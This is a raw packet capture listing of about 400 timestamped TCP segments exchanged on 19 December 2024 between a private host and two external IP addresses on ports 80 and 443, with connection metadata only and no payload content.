Dec 19, 2024 03:09:33.416250944 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.416969061 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.417032003 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.417078972 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.417141914 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.417984962 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.418045998 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.418087959 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.418135881 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.419070005 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.419127941 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.419204950 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.419254065 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.420252085 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.420404911 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.420461893 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.421458006 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.421506882 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.421596050 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.421643972 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.422677994 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.422730923 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.422816038 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.422863960 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.423791885 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.427661896 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.495613098 CET	443	49893	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:33.495702028 CET	49893	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:33.562768936 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.562882900 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.563055992 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.563091993 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.563143969 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.563267946 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.563328981 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.563971043 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.564184904 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.564243078 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.564533949 CET	49893	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:33.564553976 CET	443	49893	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:33.564796925 CET	443	49893	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:33.564903021 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.565047979 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.565097094 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.565974951 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.566030979 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.566071987 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.566118002 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.566159010 CET	49893	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:33.566293001 CET	49893	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:33.566324949 CET	443	49893	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:33.566843987 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.566905975 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.566956997 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.567003012 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.567826986 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.567936897 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.567991018 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.568809032 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.568861961 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.568970919 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.569024086 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.569809914 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.569856882 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.569926977 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.569973946 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.570826054 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.570875883 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.570941925 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.570990086 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.571850061 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.572019100 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.572068930 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.572837114 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.572885036 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.572953939 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.573002100 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.573991060 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.574033976 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.574042082 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.574074984 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.574799061 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.574855089 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.574904919 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.574951887 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.575829029 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.575936079 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.575982094 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.576864958 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.576909065 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.576956034 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.577002048 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.577826977 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.577877998 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.577925920 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.577970982 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.578913927 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.578974962 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.579102993 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.579149961 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.579852104 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.579973936 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.580029011 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.581074953 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.581123114 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.581213951 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.581255913 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.582308054 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.582348108 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.582489967 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.582528114 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.583600044 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.583647966 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.583719969 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.584573984 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.584604025 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.584619045 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.584645033 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.585284948 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.585329056 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.585361958 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.585412979 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.586065054 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.586107969 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.586250067 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.586292028 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.586947918 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.586988926 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.587028980 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.587073088 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.588032007 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.588104010 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.588146925 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.588798046 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.588840008 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.588920116 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.588963032 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.589852095 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.589893103 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.589926004 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.589967012 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.590796947 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.590848923 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.590893030 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.590933084 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.591777086 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.591907978 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.591953993 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.592788935 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.592830896 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.592907906 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.592951059 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.593890905 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.593945026 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.593956947 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.593981028 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.594786882 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.594829082 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.594892025 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.594932079 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.595865965 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.596009016 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.596055031 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.597112894 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.597157955 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.597233057 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.597275972 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.598321915 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.598366022 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.598443985 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.598484039 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.599668980 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.599813938 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.599869967 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.600904942 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.600949049 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.601006031 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.601047039 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.601890087 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.601938963 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.601982117 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.602021933 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.602701902 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.602744102 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.602785110 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.602826118 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.603245974 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.603286028 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.603298903 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.603339911 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.603971004 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.604074955 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.604119062 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.604957104 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.604999065 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.605087996 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.605129957 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.605880976 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.605989933 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.606033087 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.607204914 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.607289076 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.607336044 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.607387066 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.608321905 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.608366013 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.608454943 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.608498096 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.609514952 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.609586000 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.609658003 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.609730005 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.610589981 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.610640049 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.610707998 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.610750914 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.611728907 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.611948013 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.611977100 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.611991882 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.613001108 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.613063097 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.613130093 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.613430023 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.613979101 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.614123106 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.614171028 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.615236044 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.615288019 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.615382910 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.615484953 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.616342068 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.619569063 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.755902052 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.755975008 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.755994081 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.756042004 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.756218910 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.756288052 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.756304979 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.756351948 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.756697893 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.756756067 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.756802082 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.756844044 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.757577896 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.757637978 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.757647991 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.757694960 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.758425951 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.758475065 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.758601904 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.758657932 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.759243965 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.759290934 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.759368896 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.759550095 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.760324955 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.760377884 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.760399103 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.760457039 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.761277914 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.761333942 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.761373997 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.761502028 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.762360096 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.762424946 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.762470961 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.762516975 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.763585091 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.763657093 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.763683081 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.763730049 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.764832020 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.764925957 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.764955997 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.765010118 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.766021967 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.766068935 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.766163111 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.766216040 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.767277956 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.767350912 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.767436981 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.767482042 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.768570900 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.768639088 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.768728971 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.768780947 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.769869089 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.769927025 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.769978046 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.770045996 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.770926952 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.770976067 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.771023035 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.771086931 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.771920919 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.771970987 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.772017956 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.772113085 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.773021936 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.773081064 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.773132086 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.773179054 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.773933887 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.774008036 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.774013996 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.774068117 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.774919033 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.774966955 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.775001049 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.775043011 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.776051044 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.776099920 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.776248932 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.776299953 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.777231932 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.777296066 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.777327061 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.777463913 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.778439045 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.778512955 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.778563976 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.778686047 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.779557943 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.779623985 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.779664993 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.779716015 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.780687094 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.780735970 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.780776978 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.780826092 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.781887054 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.781958103 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.782006979 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.782057047 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.782466888 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.782541037 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.782603979 CET	80	49885	31.41.244.11	192.168.2.5
